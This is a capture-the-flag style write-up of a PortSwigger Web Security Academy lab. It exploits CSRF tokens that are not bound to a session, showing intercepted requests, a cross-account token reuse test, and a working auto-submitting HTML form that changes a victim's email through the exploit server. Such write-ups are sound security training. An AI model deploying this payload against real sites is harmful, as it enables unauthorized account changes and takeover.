| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — Token Not Session-Bound |
| Difficulty | Practitioner |
| Target | 0a840009036938f682ae7a69006500a9.web-security-academy.net |
| Objective | Change the victim's email address using a valid but session-unbound CSRF token |
CSRF Where Token Is Not Tied to User Session — Writeup¶
Initial Observation¶
Two accounts available: wiener:peter and carlos:montoya. Both logged in simultaneously in separate browser windows.
Web — Email Change Request Analysis¶
Intercepting the email update request for wiener:
POST /my-account/change-email HTTP/2
[email protected]&csrf=KzsleRfb9OhQ4SzPJICZZ8quy2HQaueB
Testing the standard bypasses first:
- Dropping the token entirely →
400 Bad Request: Missing parameter 'csrf'— token is required. - Switching to GET →
405 Method Not Allowed— method switching is blocked.
Neither shortcut works here. The token has to be present and valid.
Cross-Account Token Reuse¶
The lab description says tokens aren't integrated into session handling. The hypothesis: a token generated for one user's session might be valid for a request from a completely different session.
Intercepting a new email change request for wiener and capturing the token without sending the request:
POST /my-account/change-email HTTP/2
[email protected]&csrf=ZwyZoIa5cL4fKwzVG3UfxKg96ohwNtlV
Dropping the request in Burp — wiener's session never uses this token:
Now submitting that same token from carlos's session:
POST /my-account/change-email HTTP/2
[email protected]&csrf=ZwyZoIa5cL4fKwzVG3UfxKg96ohwNtlV
302 Found — email changed. The server accepted a token generated under wiener's session and used it to modify carlos's account. Tokens are stored in a global pool, not per-session. Any valid unused token works for any user.
Building the PoC¶
Intercepting one more request from wiener to grab a fresh unused token:
POST /my-account/change-email HTTP/2
email=teto%40test.com&csrf=jXU8ve6dYGMmPvYHn43KQOSQ893QTdyr
Request dropped — token captured, never consumed. Crafting the PoC with this token hardcoded:
<form class="login-form" name="change-email-form" action="https://0a840009036938f682ae7a69006500a9.web-security-academy.net/my-account/change-email" method="POST">
<input required="" type="email" name="email" value="[email protected]">
<input required="" type="hidden" name="csrf" value="jXU8ve6dYGMmPvYHn43KQOSQ893QTdyr">
</form>
<script>
document.forms[0].submit();
</script>
Pasting into the exploit server body, storing, and delivering to the victim:
The victim's browser fires the POST with the hardcoded token and their own session cookie. The server validates the token against the global pool — it's there, it's unused, it passes. Email changed to [email protected]. Lab solved :P
Resources¶
- PortSwigger — Bypassing CSRF token validation
- PortSwigger — CSRF
- Burp Suite Professional — request interception, drop, and manipulation